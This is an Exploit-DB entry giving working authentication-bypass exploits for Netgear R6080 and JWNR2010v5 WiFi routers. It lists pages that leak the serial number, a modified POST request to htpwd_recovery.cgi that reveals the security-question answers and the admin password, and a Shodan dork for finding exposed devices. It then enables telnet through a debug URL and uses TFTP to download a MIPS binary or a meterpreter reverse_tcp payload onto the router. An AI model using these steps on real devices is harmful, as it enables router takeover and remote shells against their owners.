Exploit-DB #47117
Description: Netgear WiFi Router JWNR2010v5 / R6080 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2019-07-15
Author: Wadeek

Exploit:
# Exploit Title: NETGEAR WiFi Router R6080 - Security Questions Answers Disclosure
# Date: 13/07/2019
# Exploit Author: Wadeek
# Hardware Version: R6080-100PES
# Firmware Version: 1.0.0.34 / 1.0.0.40
# Vendor Homepage: https://www.netgear.com/support/product/R6080.aspx
# Firmware Link: http://www.downloads.netgear.com/files/GDC/R6080/(R6080-V1.0.0.34.zip or R6080-V1.0.0.40.zip)

== Files Containing Juicy Info ==
>> http://192.168.1.1/currentsetting.htm
Firmware=V1.0.0.34WW
Model=R6080
>> http://192.168.1.1:56688/rootDesc.xml (Server: Unspecified, UPnP/1.0, Unspecified)
<serialNumber>SSSSSSSNNNNNN</serialNumber>

== Security Questions Bypass > Answers Disclosure ==
>> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)
<POST REQUEST>
htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
(replace)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
(by)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=PWD_password.htm&SID=
<POST RESPONSE>
<input type="text" maxLength="64" size="30" name="answer1" onFocus="this.select();" value="AnSw3R-1">
<input type="text" maxLength="64" size="30" name="answer2" onFocus="this.select();" value="AnSw3R-2">
(repeat recovery process for get admin password)

== Authenticated Telnet Command Execution ==
>> http://admin:Str0nG-!P4ssW0rD@192.168.1.1/setup.cgi?todo=debug
:~$ telnet 192.168.1.1
R6080 login: admin
[CREDENTIAL_REDACTED]-!P4ssW0rD
{
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
}



# Exploit Title: NETGEAR WiFi Router JWNR2010v5 - Security Questions Answers Disclosure
# Date: 13/07/2019
# Exploit Author: Wadeek
# Hardware Version: JWNR2010v5
# Firmware Version: 1.1.0.54
# Vendor Homepage: https://www.netgear.com/support/product/JWNR2010v5.aspx
# Firmware Link: http://www.downloads.netgear.com/files/GDC/JNR1010V2/N300-V1.1.0.54_1.0.1.zip
# Shodan Dork: "HTTP/1.1 401 Unauthorized" "Set-Cookie: sessionid=" "NETGEAR JWNR2010v5"

== Files Containing Juicy Info ==
>> http://192.168.1.1/currentsetting.htm
Firmware=V1.1.0.54
Model=JWNR2010v5
>> http://192.168.1.1/BRS_netgear_success.html (Serial Number)
setTimeout('top.location.href = "http://www.netgear.com/success/JWNR2010v5.aspx?sn=SSSSSSSNNNNNN";',2000);

== Security Questions Bypass > Answers Disclosure (only if "Password Recovery" is "Enable") ==
>> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)
<POST REQUEST>
htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
(replace)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
(by)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=PWD_password.htm&SID=
<POST RESPONSE>
<input type="text" maxLength="64" size="30" name="htpwd_answer1" onFocus="this.select();" value="AnSw3R-1">
<input type="text" maxLength="64" size="30" name="htpwd_answer2" onFocus="this.select();" value="AnSw3R-2">
(repeat recovery process for get admin password)

== Authenticated Telnet Command Execution ==
>> http://admin:Str0nG-!P4ssW0rD@192.168.1.1/setup.cgi?todo=debug
:~$ telnet 192.168.1.1
JWNR2010v5 login: admin
[CREDENTIAL_REDACTED]-!P4ssW0rD
{
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
}